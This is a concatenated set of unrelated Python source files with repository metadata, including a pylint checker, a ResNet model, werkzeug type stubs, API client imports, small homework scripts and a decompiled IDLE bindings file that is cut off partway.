0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), deposit_liab=pd.Series( [1217000000.0, 1367000000.0, 1404000000.0, 1470000000.0, 1831000000.0, 1728000000.0, 1823000000.0, 2745000000.0, 2487000000.0, 2921000000.0, 3132000000.0, 3035000000.0, 2638000000.0, 2920000000.0, 2738000000.0, 2699000000.0, 2360000000.0, 2500000000.0, 2344000000.0, 2165000000.0, 1697000000.0, 1636000000.0, 1754000000.0, 1610000000.0, 1146000000.0, 1328000000.0, 1259000000.0, 1161000000.0, 1167000000.0, 1383000000.0, 1533000000.0, 1510000000.0, 1426000000.0, 1399000000.0, 1378000000.0, 1491000000.0, 1243000000.0, 1354000000.0, 1263000000.0, 1309000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), other_lt_liab=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_non_current_liab=pd.Series( [31763000000.0, 30945000000.0, 29305000000.0, 31132000000.0, 30675000000.0, 30109000000.0, 36205000000.0, 37845000000.0, 39459000000.0, 39588000000.0, 41584000000.0, 40859000000.0, 41973000000.0, 41451000000.0, 39778000000.0, 39976000000.0, 36721000000.0, 36733000000.0, 37163000000.0, 38003000000.0, 39978000000.0, 38886000000.0, 39475000000.0, 37168000000.0, 37215000000.0, 36339000000.0, 35814000000.0, 35397000000.0, 35359000000.0, 36254000000.0, 36298000000.0, 36960000000.0, 36265000000.0, 35340000000.0, 35745000000.0, 36286000000.0, 36211000000.0, 35860000000.0, 36574000000.0, 35799000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_liab=pd.Series( [50738000000.0, 49362000000.0, 49089000000.0, 51310000000.0, 52695000000.0, 53256000000.0, 59715000000.0, 63063000000.0, 67816000000.0, 68437000000.0, 72857000000.0, 72605000000.0, 71388000000.0, 70425000000.0, 69697000000.0, 69095000000.0, 64018000000.0, 64028000000.0, 66904000000.0, 65592000000.0, 67855000000.0, 65452000000.0, 65081000000.0, 63001000000.0, 63457000000.0, 62554000000.0, 62997000000.0, 60687000000.0, 61491000000.0, 63889000000.0, 64431000000.0, 62863000000.0, 63196000000.0, 62742000000.0, 64045000000.0, 62319000000.0, 64429000000.0, 63248000000.0, 64309000000.0, 63000000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), common_stock=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), other_income=pd.Series( [-3764000000.0, -3886000000.0, -4045000000.0, -4412000000.0, -4051000000.0, -3724000000.0, -3544000000.0, -4019000000.0, -6328000000.0, -6033000000.0, -6150000000.0, -5988000000.0, -6433000000.0, -6669000000.0, -6698000000.0, -6247000000.0, -3898000000.0, -3801000000.0, -3683000000.0, -4357000000.0, -6431000000.0, -7101000000.0, -6729000000.0, -6843000000.0, -2035000000.0, -1493000000.0, -1633000000.0, -1527000000.0, -2039000000.0, -1827000000.0, -1471000000.0, -1233000000.0, -1192000000.0, -1016000000.0, -1496000000.0, -1568000000.0, -1684000000.0, -1588000000.0, -1499000000.0, -1783000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), retained_earnings=pd.Series( [19711000000.0, 19941000000.0, 20133000000.0, 20955000000.0, 21384000000.0, 22640000000.0, 23081000000.0, 24251000000.0, 25219000000.0, 26815000000.0, 27842000000.0, 29541000000.0, 29558000000.0, 30438000000.0, 30668000000.0, 31614000000.0, 31854000000.0, 32775000000.0, 32961000000.0, 33977000000.0, 33887000000.0, 34998000000.0, 34823000000.0, 35191000000.0, 29246000000.0, 29517000000.0, 29167000000.0, 29450000000.0, 27377000000.0, 27584000000.0, 27471000000.0, 28530000000.0, 26301000000.0, 27929000000.0, 28657000000.0, 30384000000.0, 30427000000.0, 32435000000.0, 32981000000.0, 34477000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), minority_interest=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_equity=pd.Series( [8740000000.0, 8942000000.0, 9185000000.0, 9837000000.0, 10824000000.0, 12629000000.0, 13391000000.0, 14162000000.0, 12883000000.0, 14969000000.0, 15926000000.0, 17884000000.0, 17532000000.0, 18274000000.0, 17621000000.0, 18110000000.0, 20811000000.0, 20305000000.0, 20856000000.0, 18823000000.0, 16746000000.0, 16962000000.0, 17092000000.0, 15896000000.0, 14809000000.0, 15676000000.0, 15232000000.0, 15645000000.0, 13213000000.0, 13660000000.0, 14079000000.0, 15697000000.0, 13766000000.0, 15272000000.0, 14942000000.0, 15890000000.0, 14080000000.0, 15478000000.0, 14878000000.0, 14993000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_liab_and_equity=pd.Series( [59478000000.0, 58304000000.0, 58274000000.0, 61147000000.0, 63519000000.0, 65885000000.0, 73106000000.0, 77225000000.0, 80699000000.0, 83406000000.0, 88783000000.0, 90489000000.0, 88920000000.0, 88699000000.0, 87318000000.0, 87205000000.0, 84829000000.0, 84333000000.0, 87760000000.0, 84415000000.0, 84601000000.0, 82414000000.0, 82173000000.0, 78897000000.0, 78266000000.0, 78230000000.0, 78229000000.0, 76332000000.0, 74704000000.0, 77549000000.0, 78510000000.0, 78560000000.0, 76962000000.0, 78014000000.0, 78987000000.0, 78209000000.0, 78509000000.0, 78726000000.0, 79187000000.0, 77993000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), )
f9f574a4d00a771aa40f9ddee1222b2e1cf2f25b
f693c9c487d31a677f009afcdf922b4e7f7d1af0
/biomixer-venv/lib/python3.9/site-packages/pylint/checkers/refactoring/recommendation_checker.py
b1175f03e03853db4ae7d542287abf40d715df6b
[ "MIT" ]
permissive
Shellowb/BioMixer
9048b6c07fa30b83c87402284f0cebd11a58e772
1939261589fe8d6584a942a99f0308e898a28c1c
refs/heads/master
2022-10-05T08:16:11.236866
2021-06-29T17:20:45
2021-06-29T17:20:45
164,722,008
1
3
MIT
2022-09-30T20:23:34
2019-01-08T19:52:12
Python
UTF-8
Python
false
false
4,749
py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/master/LICENSE import astroid from pylint import checkers, interfaces from pylint.checkers import utils class RecommendationChecker(checkers.BaseChecker): __implements__ = (interfaces.IAstroidChecker,) name = "refactoring" msgs = { "C0200": ( "Consider using enumerate instead of iterating with range and len", "consider-using-enumerate", "Emitted when code that iterates with range and len is " "encountered. Such code can be simplified by using the " "enumerate builtin.", ), "C0201": ( "Consider iterating the dictionary directly instead of calling .keys()", "consider-iterating-dictionary", "Emitted when the keys of a dictionary are iterated through the .keys() " "method. It is enough to just iterate through the dictionary itself, as " 'in "for key in dictionary".', ), } @staticmethod def _is_builtin(node, function): inferred = utils.safe_infer(node) if not inferred: return False return utils.is_builtin_object(inferred) and inferred.name == function @utils.check_messages("consider-iterating-dictionary") def visit_call(self, node): if not isinstance(node.func, astroid.Attribute): return if node.func.attrname != "keys": return if not isinstance(node.parent, (astroid.For, astroid.Comprehension)): return inferred = utils.safe_infer(node.func) if not isinstance(inferred, astroid.BoundMethod) or not isinstance( inferred.bound, astroid.Dict ): return if isinstance(node.parent, (astroid.For, astroid.Comprehension)): self.add_message("consider-iterating-dictionary", node=node) @utils.check_messages("consider-using-enumerate") def visit_for(self, node): """Emit a convention whenever range and len are used for indexing.""" # Verify that we have a `range([start], len(...), [stop])` call and # that the object which is iterated is used as a subscript in the # body of the for. # Is it a proper range call? if not isinstance(node.iter, astroid.Call): return if not self._is_builtin(node.iter.func, "range"): return if not node.iter.args: return is_constant_zero = ( isinstance(node.iter.args[0], astroid.Const) and node.iter.args[0].value == 0 ) if len(node.iter.args) == 2 and not is_constant_zero: return if len(node.iter.args) > 2: return # Is it a proper len call? if not isinstance(node.iter.args[-1], astroid.Call): return second_func = node.iter.args[-1].func if not self._is_builtin(second_func, "len"): return len_args = node.iter.args[-1].args if not len_args or len(len_args) != 1: return iterating_object = len_args[0] if not isinstance(iterating_object, astroid.Name): return # If we're defining __iter__ on self, enumerate won't work scope = node.scope() if iterating_object.name == "self" and scope.name == "__iter__": return # Verify that the body of the for loop uses a subscript # with the object that was iterated. This uses some heuristics # in order to make sure that the same object is used in the # for body. for child in node.body: for subscript in child.nodes_of_class(astroid.Subscript): if not isinstance(subscript.value, astroid.Name): continue value = subscript.slice if isinstance(value, astroid.Index): value = value.value if not isinstance(value, astroid.Name): continue if value.name != node.target.name: continue if iterating_object.name != subscript.value.name: continue if subscript.value.scope() != node.scope(): # Ignore this subscript if it's not in the same # scope. This means that in the body of the for # loop, another scope was created, where the same # name for the iterating object was used. continue self.add_message("consider-using-enumerate", node=node) return
47633761925b05cb7b78e248675293d5b8f9b673
c74c907a32da37d333096e08d2beebea7bea65e7
/kaikeba/cv/week6/Week 6 coding/model/network.py
0d65271f2868c98a4052e0036c292fdbae18f056
[]
no_license
wangqiang79/learn
6b37cc41140cc2200d928f3717cfc72357d10d54
e4b949a236fa52de0e199c69941bcbedd2c26897
refs/heads/master
2022-12-25T06:24:39.163061
2020-07-13T15:43:13
2020-07-13T15:43:13
231,796,188
2
2
null
2022-12-08T07:03:05
2020-01-04T16:45:33
Jupyter Notebook
UTF-8
Python
false
false
1,057
py
import torch.nn as nn import torchvision.models as models from model.module import Block, Bottleneck, DownBottleneck, Layer #pytorch Torchvision class ResNet101v2(nn.Module): ''' ResNet101 model ''' def __init__(self): super(ResNet101v2, self).__init__() #下采样2倍 self.conv1 = Block(3, 64, 7, 3, 2) self.pool1 = nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True) self.conv2_1 =DownBottleneck(64, 256, stride=1) self.conv2_2 =Bottleneck(256, 256) self.conv2_3 =Bottleneck(256, 256) #下采样2倍 8倍 self.layer3 = Layer(256, [512]*2, "resnet") #下采样2倍 16倍 self.layer4 = Layer(512, [1024]*23, "resnet") #下采样2倍 32倍 self.layer5 = Layer(1024, [2048]*3, "resnet") def forward(self, x): f1 = self.conv1(x) f2 = self.conv2_3(self.conv2_2(self.conv2_1(self.pool1(f1)))) f3 = self.layer3(f2) f4 = self.layer4(f3) f5 = self.layer5(f4) return [f2, f3, f4, f5]
67b5e8386db8e4569b1d1edacc6de547975d3b74
af626ade966544b91fbfe0ea81fc887f1b8a2821
/qa/rpc-tests/python-bitcoinrtxrpc/setup.py
fdfe9d34717f62f28824291c40f42b658d4ca311
[ "MIT" ]
permissive
kunalbarchha/bitcoinrtx-old
91f2b36a50e009151c61d36e77a563d0c17ab632
42c61d652288f183c4607462e2921bb33ba9ec1f
refs/heads/master
2023-03-13T22:46:36.993580
2021-03-04T13:01:00
2021-03-04T13:01:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
630
py
#!/usr/bin/env python2 from distutils.core import setup setup(name='python-bitcoinrtxrpc', version='0.1', description='Enhanced version of python-jsonrpc for use with Bitcoinrtx', long_description=open('README').read(), author='Jeff Garzik', author_email='<[email protected]>', maintainer='Jeff Garzik', maintainer_email='<[email protected]>', url='http://www.github.com/jgarzik/python-bitcoinrtxrpc', packages=['bitcoinrtxrpc'], classifiers=['License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)', 'Operating System :: OS Independent'])
a54826ebaa280ca23aad774cb3f6aec445632e62
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2561/60639/261665.py
65b5061f633e844981dc12f1881df53161da5a40
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
446
py
def solution(n,x,arr1,arr2): sum=0 for i in range(n*n): if x-arr1[i] in arr2: sum+=1 else: continue print(sum) t=int(input()) for i in range(t): inp=input().split() n=int(inp[0]) x=int(inp[1]) arr1=[] arr2=[] for i in range(n): arr1+=list(map(int,input().split())) for i in range(n): arr2+=list(map(int,input().split())) solution(n,x,arr1,arr2)
6c8789550af13191f5d64b9eb7d8bbbced53484a
d2f6140a45b234711c0b6bce9ab98c9468d6041e
/homework/2014-20/similar_hw_3/HenryRueda_primos.py
d98f69dad28fbfccad7005e984d6a50995f81e42
[]
no_license
ComputoCienciasUniandes/MetodosComputacionalesDatos
14b6b78655ed23985ecff28550934dec96f6373b
ecc7c21ca13a3b7bbdc7a8ef5715e8c9bf6e48cf
refs/heads/master
2020-04-10T14:17:03.465444
2017-06-09T15:02:57
2017-06-09T15:02:57
12,526,572
0
8
null
null
null
null
UTF-8
Python
false
false
1,369
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys,math if len(sys.argv)<2: print('\nNo hay suficiente información\n'.format(sys.argv[0])) sys.exit(0) Maximo=1000000 n=int(sys.argv[1]) if n<0: print('\nEl número ingresado es negativo\n'.format(Maximo)) if n == 0: print ('\n{} no es un número valido para ejecutar este programa\n'.format(0)) sys.exit(0) if n>Maximo: print('\nEl número es mayor que un millón\n'.format(Maximo)) sys.exit(0) arrayprimos = [] factores = set() for i in range(2, Maximo+1): if i not in factores: arrayprimos.append(i) factores.update(range(i*i, Maximo+1, i)) def es_primo(n): if n in arrayprimos: return True if es_primo(n): print('\nEl número ingresado es primo\n'.format(n)) sys.exit(0) k=int(math.sqrt(n)+1) for i in range (0,k): aux=float(n)/arrayprimos[i] if aux%1==0 and es_primo(aux): if aux!=arrayprimos[i]: print('\n{} y {}'.format(arrayprimos[i], int(aux))) sys.exit(0) break else: print('\nexception'.format(arrayprimos[i], int(aux))) sys.exit(0) break print('\nEl número en su descomposición tiene más de dos factores primos')
d6246ef699c47ce3d1bbcf801835f3fac4236d8f
3395a234e7c80d011607e79c49cd48bf516f256b
/dependencies/jedi/third_party/typeshed/third_party/2and3/werkzeug/test.pyi
764b76d8e78bf0f973af8fbcc504bf8dfd79edde
[ "MIT", "Apache-2.0" ]
permissive
srusskih/SublimeJEDI
67329b72e184bc9584843968dcc534a002c797a1
95c185d778425c04536d53517b0e3fe6dedf8e59
refs/heads/master
2023-08-24T11:30:37.801834
2022-08-30T09:04:17
2022-08-30T09:04:17
6,241,108
669
125
MIT
2022-08-30T09:04:18
2012-10-16T08:23:57
Python
UTF-8
Python
false
false
5,957
pyi
import sys from wsgiref.types import WSGIEnvironment from typing import Any, Generic, Optional, Text, Tuple, Type, TypeVar, overload from typing_extensions import Literal if sys.version_info < (3,): from urllib2 import Request as U2Request from cookielib import CookieJar else: from urllib.request import Request as U2Request from http.cookiejar import CookieJar def stream_encode_multipart(values, use_tempfile: int = ..., threshold=..., boundary: Optional[Any] = ..., charset: Text = ...): ... def encode_multipart(values, boundary: Optional[Any] = ..., charset: Text = ...): ... def File(fd, filename: Optional[Any] = ..., mimetype: Optional[Any] = ...): ... class _TestCookieHeaders: headers: Any def __init__(self, headers): ... def getheaders(self, name): ... def get_all(self, name, default: Optional[Any] = ...): ... class _TestCookieResponse: headers: Any def __init__(self, headers): ... def info(self): ... class _TestCookieJar(CookieJar): def inject_wsgi(self, environ): ... def extract_wsgi(self, environ, headers): ... class EnvironBuilder: server_protocol: Any wsgi_version: Any request_class: Any charset: Text path: Any base_url: Any query_string: Any args: Any method: Any headers: Any content_type: Any errors_stream: Any multithread: Any multiprocess: Any run_once: Any environ_base: Any environ_overrides: Any input_stream: Any content_length: Any closed: Any def __init__(self, path: str = ..., base_url: Optional[Any] = ..., query_string: Optional[Any] = ..., method: str = ..., input_stream: Optional[Any] = ..., content_type: Optional[Any] = ..., content_length: Optional[Any] = ..., errors_stream: Optional[Any] = ..., multithread: bool = ..., multiprocess: bool = ..., run_once: bool = ..., headers: Optional[Any] = ..., data: Optional[Any] = ..., environ_base: Optional[Any] = ..., environ_overrides: Optional[Any] = ..., charset: Text = ...): ... form: Any files: Any @property def server_name(self): ... @property def server_port(self): ... def __del__(self): ... def close(self): ... def get_environ(self): ... def get_request(self, cls: Optional[Any] = ...): ... class ClientRedirectError(Exception): ... # Response type for the client below. # By default _R is Tuple[Iterable[Any], Union[Text, int], datastructures.Headers] _R = TypeVar('_R') class Client(Generic[_R]): application: Any response_wrapper: Optional[Type[_R]] cookie_jar: Any allow_subdomain_redirects: Any def __init__(self, application, response_wrapper: Optional[Type[_R]] = ..., use_cookies: bool = ..., allow_subdomain_redirects: bool = ...): ... def set_cookie(self, server_name, key, value: str = ..., max_age: Optional[Any] = ..., expires: Optional[Any] = ..., path: str = ..., domain: Optional[Any] = ..., secure: Optional[Any] = ..., httponly: bool = ..., charset: Text = ...): ... def delete_cookie(self, server_name, key, path: str = ..., domain: Optional[Any] = ...): ... def run_wsgi_app(self, environ, buffered: bool = ...): ... def resolve_redirect(self, response, new_location, environ, buffered: bool = ...): ... @overload def open(self, *args, as_tuple: Literal[True], **kwargs) -> Tuple[WSGIEnvironment, _R]: ... @overload def open(self, *args, as_tuple: Literal[False] = ..., **kwargs) -> _R: ... @overload def open(self, *args, as_tuple: bool, **kwargs) -> Any: ... @overload def get(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def get(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def get(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def patch(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def patch(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def patch(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def post(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def post(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def post(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def head(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def head(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def head(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def put(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def put(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def put(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def delete(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def delete(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def delete(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def options(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def options(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def options(self, *args, as_tuple: bool, **kw) -> Any: ... @overload def trace(self, *args, as_tuple: Literal[True], **kw) -> Tuple[WSGIEnvironment, _R]: ... @overload def trace(self, *args, as_tuple: Literal[False] = ..., **kw) -> _R: ... @overload def trace(self, *args, as_tuple: bool, **kw) -> Any: ... def create_environ(*args, **kwargs): ... def run_wsgi_app(app, environ, buffered: bool = ...): ...
5478f0ed6e84d36a081197e9e17ed5b0e151144f
7fa08c93ff0caa4c86d4fa1727643331e081c0d0
/brigid_api_client/models/__init__.py
116e0784876b77021f16b674f520d34edb77dc10
[ "LicenseRef-scancode-warranty-disclaimer", "MIT" ]
permissive
caltechads/brigid-api-client
760768c05280a4fb2f485e27c05f6ae24fbb7c6f
3e885ac9e7b3c00b8a9e0cc1fb7b53b468d9e10a
refs/heads/master
2023-03-23T03:11:02.446720
2021-03-13T00:47:03
2021-03-13T00:47:03
338,424,261
0
0
null
null
null
null
UTF-8
Python
false
false
7,175
py
""" Contains all the data models used in inputs/outputs """ from .action_response import ActionResponse from .action_response_errors import ActionResponseErrors from .application import Application from .applications_list_expand import ApplicationsListExpand from .applications_retrieve_expand import ApplicationsRetrieveExpand from .aws_account import AWSAccount from .aws_accounts_list_expand import AwsAccountsListExpand from .aws_accounts_retrieve_expand import AwsAccountsRetrieveExpand from .aws_clusters_list_expand import AwsClustersListExpand from .aws_clusters_retrieve_expand import AwsClustersRetrieveExpand from .aws_services_list_expand import AwsServicesListExpand from .aws_services_retrieve_expand import AwsServicesRetrieveExpand from .aws_tasks_list_expand import AwsTasksListExpand from .aws_tasks_retrieve_expand import AwsTasksRetrieveExpand from .aws_vpcs_list_expand import AwsVpcsListExpand from .aws_vpcs_retrieve_expand import AwsVpcsRetrieveExpand from .awsecs_cluster import AWSECSCluster from .awsecs_service import AWSECSService from .awsecs_task import AWSECSTask from .awsvpc import AWSVPC from .deployment import Deployment from .deployments_list_expand import DeploymentsListExpand from .deployments_retrieve_expand import DeploymentsRetrieveExpand from .docker_image_build import DockerImageBuild from .docker_image_builds_list_expand import DockerImageBuildsListExpand from .docker_image_builds_retrieve_expand import DockerImageBuildsRetrieveExpand from .ecosystem import Ecosystem from .ecosystems_list_expand import EcosystemsListExpand from .ecosystems_retrieve_expand import EcosystemsRetrieveExpand from .ecs_service_deploy import ECSServiceDeploy from .ecs_service_deploys_list_expand import EcsServiceDeploysListExpand from .ecs_service_deploys_retrieve_expand import EcsServiceDeploysRetrieveExpand from .ecs_task_deploy import ECSTaskDeploy from .ecs_task_deploys_list_expand import EcsTaskDeploysListExpand from .ecs_task_deploys_retrieve_expand import EcsTaskDeploysRetrieveExpand from .environment import Environment from .environments_list_expand import EnvironmentsListExpand from .environments_retrieve_expand import EnvironmentsRetrieveExpand from .organization import Organization from .organizations_list_expand import OrganizationsListExpand from .organizations_retrieve_expand import OrganizationsRetrieveExpand from .paginated_application_list import PaginatedApplicationList from .paginated_aws_account_list import PaginatedAWSAccountList from .paginated_awsecs_cluster_list import PaginatedAWSECSClusterList from .paginated_awsecs_service_list import PaginatedAWSECSServiceList from .paginated_awsecs_task_list import PaginatedAWSECSTaskList from .paginated_awsvpc_list import PaginatedAWSVPCList from .paginated_deployment_list import PaginatedDeploymentList from .paginated_docker_image_build_list import PaginatedDockerImageBuildList from .paginated_ecosystem_list import PaginatedEcosystemList from .paginated_ecs_service_deploy_list import PaginatedECSServiceDeployList from .paginated_ecs_task_deploy_list import PaginatedECSTaskDeployList from .paginated_environment_list import PaginatedEnvironmentList from .paginated_organization_list import PaginatedOrganizationList from .paginated_person_type_list import PaginatedPersonTypeList from .paginated_pipeline_invocation_list import PaginatedPipelineInvocationList from .paginated_pipeline_list import PaginatedPipelineList from .paginated_release_list import PaginatedReleaseList from .paginated_site_user_list import PaginatedSiteUserList from .paginated_software_list import PaginatedSoftwareList from .paginated_step_invocation_list import PaginatedStepInvocationList from .paginated_step_list import PaginatedStepList from .paginated_step_type_list import PaginatedStepTypeList from .paginated_team_list import PaginatedTeamList from .paginated_test_result_list import PaginatedTestResultList from .patched_application import PatchedApplication from .patched_aws_account import PatchedAWSAccount from .patched_awsecs_cluster import PatchedAWSECSCluster from .patched_awsecs_service import PatchedAWSECSService from .patched_awsecs_task import PatchedAWSECSTask from .patched_awsvpc import PatchedAWSVPC from .patched_deployment import PatchedDeployment from .patched_docker_image_build import PatchedDockerImageBuild from .patched_ecosystem import PatchedEcosystem from .patched_ecs_service_deploy import PatchedECSServiceDeploy from .patched_ecs_task_deploy import PatchedECSTaskDeploy from .patched_environment import PatchedEnvironment from .patched_organization import PatchedOrganization from .patched_person_type import PatchedPersonType from .patched_pipeline import PatchedPipeline from .patched_pipeline_invocation import PatchedPipelineInvocation from .patched_release import PatchedRelease from .patched_site_user import PatchedSiteUser from .patched_software import PatchedSoftware from .patched_step import PatchedStep from .patched_step_invocation import PatchedStepInvocation from .patched_step_type import PatchedStepType from .patched_team import PatchedTeam from .patched_test_result import PatchedTestResult from .person_type import PersonType from .pipeines_list_expand import PipeinesListExpand from .pipeines_retrieve_expand import PipeinesRetrieveExpand from .pipeline import Pipeline from .pipeline_invocation import PipelineInvocation from .pipeline_invocations_list_expand import PipelineInvocationsListExpand from .pipeline_invocations_retrieve_expand import PipelineInvocationsRetrieveExpand from .pipeline_step_invocations_list_expand import PipelineStepInvocationsListExpand from .pipeline_step_invocations_retrieve_expand import ( PipelineStepInvocationsRetrieveExpand, ) from .pipeline_steps_list_expand import PipelineStepsListExpand from .pipeline_steps_retrieve_expand import PipelineStepsRetrieveExpand from .release import Release from .release_import import ReleaseImport from .release_import_all import ReleaseImportAll from .release_import_all_response import ReleaseImportAllResponse from .release_import_all_response_errors import ReleaseImportAllResponseErrors from .releases_list_expand import ReleasesListExpand from .releases_retrieve_expand import ReleasesRetrieveExpand from .schema_retrieve_format import SchemaRetrieveFormat from .schema_retrieve_response_200 import SchemaRetrieveResponse_200 from .service_enum import ServiceEnum from .site_user import SiteUser from .site_users_list_expand import SiteUsersListExpand from .site_users_retrieve_expand import SiteUsersRetrieveExpand from .software import Software from .software_import import SoftwareImport from .software_list_expand import SoftwareListExpand from .software_retrieve_expand import SoftwareRetrieveExpand from .status_enum import StatusEnum from .step import Step from .step_invocation import StepInvocation from .step_type import StepType from .team import Team from .teams_list_expand import TeamsListExpand from .teams_retrieve_expand import TeamsRetrieveExpand from .test_result import TestResult from .test_results_list_expand import TestResultsListExpand from .test_results_retrieve_expand import TestResultsRetrieveExpand
ec5779ee0e273f9ab8b597108e3e042acb1ccd27
591900bf248906d0c80fbb02174b0c3be6de376f
/torch_scatter/__init__.py
e43f88eefbc902eb16d43b425fbd5f348a6e202f
[ "MIT" ]
permissive
xychen9459/pytorch_scatter
0e02a2028faa98acc30fa3b7b082ea52cab5f70c
b9570ccd71622f9a7b2d311a1607bb3914801743
refs/heads/master
2020-04-17T00:09:30.541736
2018-12-27T11:37:55
2018-12-27T11:37:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
444
py
from .add import scatter_add from .sub import scatter_sub from .mul import scatter_mul from .div import scatter_div from .mean import scatter_mean from .std import scatter_std from .max import scatter_max from .min import scatter_min __version__ = '1.1.0' __all__ = [ 'scatter_add', 'scatter_sub', 'scatter_mul', 'scatter_div', 'scatter_mean', 'scatter_std', 'scatter_max', 'scatter_min', '__version__', ]
9d5d983d5ff01859848e01029c4cf4bd7a80dd09
730a0291d90bf220d162791287e422bc4225d164
/pymodel/__init__.py
4963a551029dcecb2c1fe1c933778d788cf10017
[ "BSD-3-Clause" ]
permissive
jon-jacky/PyModel
27442d062e615bd0bf1bd16d86ae56cc4d3dc443
457ea284ea20703885f8e57fa5c1891051be9b03
refs/heads/master
2022-11-02T14:08:47.012661
2022-10-16T09:47:53
2022-10-16T09:47:53
2,034,133
75
36
NOASSERTION
2021-07-11T21:15:08
2011-07-12T04:23:02
Python
UTF-8
Python
false
false
87
py
""" Make this directory a package so it can be installed with one line in setup.py """
a771d28bdbf0a941f858c851bbe836950980bc83
2fd0c65aa0f72133f773dac5d9a5c48fe9e26fac
/Python/Core/Lib/idlelib/Bindings.py
896d83102673640507f98caa05d20c390622944e
[]
no_license
FingerLeakers/DanderSpritz_docs
f5d2430e0b86b1b2f0684f02ddd4fa973a5a7364
d96b6a71c039b329f9f81544f645857c75360e7f
refs/heads/master
2021-01-25T13:05:51.732149
2018-03-08T01:22:49
2018-03-08T01:22:49
123,527,268
2
0
null
2018-03-02T03:48:31
2018-03-02T03:48:30
null
UTF-8
Python
false
false
3,003
py
# uncompyle6 version 2.9.10 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.10 (default, Feb 6 2017, 23:53:20) # [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.34)] # Embedded file name: Bindings.py """Define the menu contents, hotkeys, and event bindings. There is additional configuration information in the EditorWindow class (and subclasses): the menus are created there based on the menu_specs (class) variable, and menus not created are silently skipped in the code here. This makes it possible, for example, to define a Debug menu which is only present in the PythonShell window, and a Format menu which is only present in the Editor windows. """ import sys from idlelib.configHandler import idleConf from idlelib import macosxSupport menudefs = [ ( 'file', [ ('_New Window', '<<open-new-window>>'), ('_Open...', '<<open-window-from-file>>'), ('Open _Module...', '<<open-module>>'), ('Class _Browser', '<<open-class-browser>>'), ('_Path Browser', '<<open-path-browser>>'), None, ('_Save', '<<save-window>>'), ('Save _As...', '<<save-window-as-file>>'), ('Save Cop_y As...', '<<save-copy-of-window-as-file>>'), None, ('Prin_t Window', '<<print-window>>'), None, ('_Close', '<<close-window>>'), ('E_xit', '<<close-all-windows>>')]), ( 'edit', [ ('_Undo', '<<undo>>'), ('_Redo', '<<redo>>'), None, ('Cu_t', '<<cut>>'), ('_Copy', '<<copy>>'), ('_Paste', 